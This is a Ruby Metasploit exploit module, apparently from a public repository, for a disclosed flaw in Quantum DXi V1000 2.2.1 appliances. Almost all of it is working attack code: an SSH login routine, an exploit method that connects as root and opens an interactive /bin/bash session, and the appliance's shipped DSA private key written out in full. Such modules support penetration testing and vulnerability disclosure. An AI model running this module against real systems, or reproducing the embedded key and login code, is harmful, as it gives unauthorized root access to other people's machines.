142 lines
4.0 KiB
Ruby
142 lines
4.0 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'net/ssh'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::SSH
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def initialize(info = {})
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super(update_info(info, {
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'Name' => 'Quantum DXi V1000 SSH Private Key Exposure',
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'Description' => %q{
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Quantum ships a public/private key pair on DXi V1000 2.2.1 appliances that
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allows passwordless authentication to any other DXi box. Since the key is
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easily retrievable, an attacker can use it to gain unauthorized remote
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access as root.
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},
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Privileged' => true,
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'Targets' => [ [ "Universal", {} ] ],
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'Payload' =>
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{
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'Compat' => {
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'PayloadType' => 'cmd_interact',
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'ConnectionType' => 'find',
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},
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},
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'Author' => 'xistence <xistence[at]0x90.nl>', # Discovery, Metasploit module
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'License' => MSF_LICENSE,
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'References' =>
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[
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['PACKETSTORM', '125755']
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],
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'DisclosureDate' => "Mar 17 2014",
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'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
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'DefaultTarget' => 0
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}))
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register_options(
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[
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# Since we don't include Tcp, we have to register this manually
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Opt::RHOST(),
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Opt::RPORT(22)
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], self.class
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)
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register_advanced_options(
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[
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OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
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OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
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]
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)
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end
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# helper methods that normally come from Tcp
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def rhost
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datastore['RHOST']
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end
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def rport
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datastore['RPORT']
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end
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def do_login(user)
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factory = ssh_socket_factory
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opt_hash = {
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:auth_methods => ['publickey'],
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:port => rport,
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:key_data => [ key_data ],
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:use_agent => false,
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:config => false,
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:proxy => factory,
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:non_interactive => true
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}
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opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
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begin
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ssh_socket = nil
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::Timeout.timeout(datastore['SSH_TIMEOUT']) do
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ssh_socket = Net::SSH.start(rhost, user, opt_hash)
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end
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rescue Rex::ConnectionError
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return nil
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rescue Net::SSH::Disconnect, ::EOFError
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print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
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return nil
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rescue ::Timeout::Error
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print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
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return nil
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rescue Net::SSH::AuthenticationFailed
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print_error "#{rhost}:#{rport} SSH - Failed authentication"
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return nil
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rescue Net::SSH::Exception => e
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print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
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return nil
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end
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if ssh_socket
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# Create a new session from the socket, then dump it.
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conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/bash', true)
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ssh_socket = nil
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return conn
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else
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return nil
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end
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end
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def exploit
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conn = do_login("root")
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if conn
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print_good "#{rhost}:#{rport} - Successful login"
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handler(conn.lsock)
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end
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end
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def key_data
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<<EOF
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-----BEGIN DSA PRIVATE KEY-----
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MIIBugIBAAKBgQCEgBNwgF+IbMU8NHUXNIMfJ0ONa91ZI/TphuixnilkZqcuwur2
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hMbrqY8Yne+n3eGkuepQlBBKEZSd8xPd6qCvWnCOhBqhkBS7g2dH6jMkUl/opX/t
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Rw6P00crq2oIMafR4/SzKWVW6RQEzJtPnfV7O3i5miY7jLKMDZTn/DRXRwIVALB2
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+o4CRHpCG6IBqlD/2JW5HRQBAoGAaSzKOHYUnlpAoX7+ufViz37cUa1/x0fGDA/4
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6mt0eD7FTNoOnUNdfdZx7oLXVe7mjHjqjif0EVnmDPlGME9GYMdi6r4FUozQ33Y5
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PmUWPMd0phMRYutpihaExkjgl33AH7mp42qBfrHqZ2oi1HfkqCUoRmB6KkdkFosr
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E0apJ5cCgYBLEgYmr9XCSqjENFDVQPFELYKT7Zs9J87PjPS1AP0qF1OoRGZ5mefK
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6X/6VivPAUWmmmev/BuAs8M1HtfGeGGzMzDIiU/WZQ3bScLB1Ykrcjk7TOFD6xrn
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k/inYAp5l29hjidoAONcXoHmUAMYOKqn63Q2AsDpExVcmfj99/BlpQIUYS6Hs70u
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B3Upsx556K/iZPPnJZE=
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-----END DSA PRIVATE KEY-----
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EOF
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end
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end
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